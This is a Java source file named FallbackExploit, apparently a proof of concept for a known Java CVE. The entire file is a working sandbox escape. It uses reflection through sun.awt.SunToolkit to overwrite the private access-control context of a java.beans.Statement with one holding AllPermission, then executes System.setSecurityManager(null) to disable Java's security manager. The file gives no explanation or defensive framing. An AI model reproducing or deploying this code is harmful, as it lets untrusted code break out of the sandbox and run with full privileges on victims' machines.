package x;

import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

/**
 * This is CVE
 * 
 * @author dmigowski
 * 
 */
public class FallbackExploit {
	
	public void disableSecurity() throws Throwable {
		Statement localStatement = new Statement(System.class,
				"setSecurityManager", new Object[1]);
		Permissions localPermissions = new Permissions();
		localPermissions.add(new AllPermission());
		ProtectionDomain localProtectionDomain = new ProtectionDomain(
				new CodeSource(new URL("file:///"), new Certificate[0]),
				localPermissions);
		AccessControlContext localAccessControlContext = new AccessControlContext(
				new ProtectionDomain[] { localProtectionDomain });
		SetField(Statement.class, "acc", localStatement,
				localAccessControlContext);
		localStatement.execute();
	}

	private Class GetClass(String paramString) throws Throwable {
		Object arrayOfObject[] = new Object[1];
		arrayOfObject[0] = paramString;
		Expression localExpression = new Expression(Class.class, "forName",
				arrayOfObject);
		localExpression.execute();
		return (Class) localExpression.getValue();
	}

	private void SetField(Class paramClass, String paramString,
			Object paramObject1, Object paramObject2) throws Throwable {
		Object arrayOfObject[] = new Object[2];
		arrayOfObject[0] = paramClass;
		arrayOfObject[1] = paramString;
		Expression localExpression = new Expression(
				GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
		localExpression.execute();
		((Field) localExpression.getValue()).set(paramObject1, paramObject2);
	}

}
